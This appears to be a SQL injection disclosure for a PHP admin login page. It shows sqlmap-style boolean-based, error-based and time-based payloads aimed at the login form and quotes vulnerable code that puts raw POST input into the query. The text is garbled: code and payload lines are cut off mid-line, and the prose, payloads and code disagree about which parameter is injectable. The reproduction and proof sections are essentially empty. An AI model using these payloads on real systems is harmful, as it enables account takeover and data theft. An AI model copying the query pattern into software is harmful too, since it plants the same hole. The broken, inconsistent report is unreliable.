

The password parameter appears to be vulnerable to SQL injection attacks. A single quote was submitted in the password parameter, and a database error message was returned. Two single quotes were then submitted and the error message disappeared. The attacker can take administrator account control and also of all accounts on this system, also the malicious user can download all information about this system.

```
Status: CRITICAL
[+] Payloads:
  Parameter: MULTIPART email ((custom) POST)
      Type: boolean-based blind
      Title: OR boolean-based blind - WHERE or HAVING clause (NOT)
      Payload: -----WebKitFormBoundary8kMPLwTOJeesgEBx
  Content-Disposition: form-data; name="email"
  uufQHiPr@namaikatiputkata.net' OR NOT 6564=6564-- aWQp
  -----WebKitFormBoundary8kMPLwTOJeesgEBx
  Content-Disposition: form-data; name="password"
  t8I!x2y!H3'
  -----WebKitFormBoundary8kMPLwT0JeesgEBx
  Content-Disposition: form-data; name="login"
  -----WebKitFormBoundary8kMPLwT0JeesgEBx--
      Type: error-based
      Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause
      Payload: -----WebKitFormBoundary8kMPLwTOJeesgEBx
  Content-Disposition: form-data; name="email"
  uufQHiPr@namaikatiputkata.net' AND (SELECT 6279 FROM(SELECT COUNT(*),CONCAT(0x717671
  -----WebKitFormBoundary8kMPLwT0JeesgEBx
  Content-Disposition: form-data; name="password"
  t8I!x2y!H3'
  -----WebKitFormBoundary8kMPLwTOJeesgEBx
  Content-Disposition: form-data; name="login"
  -----WebKitFormBoundary8kMPLwT0JeesgEBx--
      Type: time-based blind
      Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
      Payload: -----WebKitFormBoundary8kMPLwTOJeesgEBx
  Content-Disposition: form-data; name="email"
```

Vulnerable code:

```
<?php
        session_start();
        $username = $_POST['username'];
        $password = $_POST['password'];
        if(ISSET($_POST['login'])){
                $conn = new mysqli("localhost","root","","activity") or die(mysqli_e
                $query = $conn->query("SELECT *FROM `admin` WHERE `username` = '$use
                $fetch = $query->fetch array();
                $valid = $query->num_rows;
                        if($valid > 0){
                                $_SESSION['admin_id'] = $fetch['admin_id'];
                                header("location:./dashboard.php");
                        }else{
                                echo "<script>alert('Invalid username or password')
                                echo "<script>window.location = 'index.php'</script>
                $conn->close();
        }
```

Reproduce:

href

Proof and Exploit: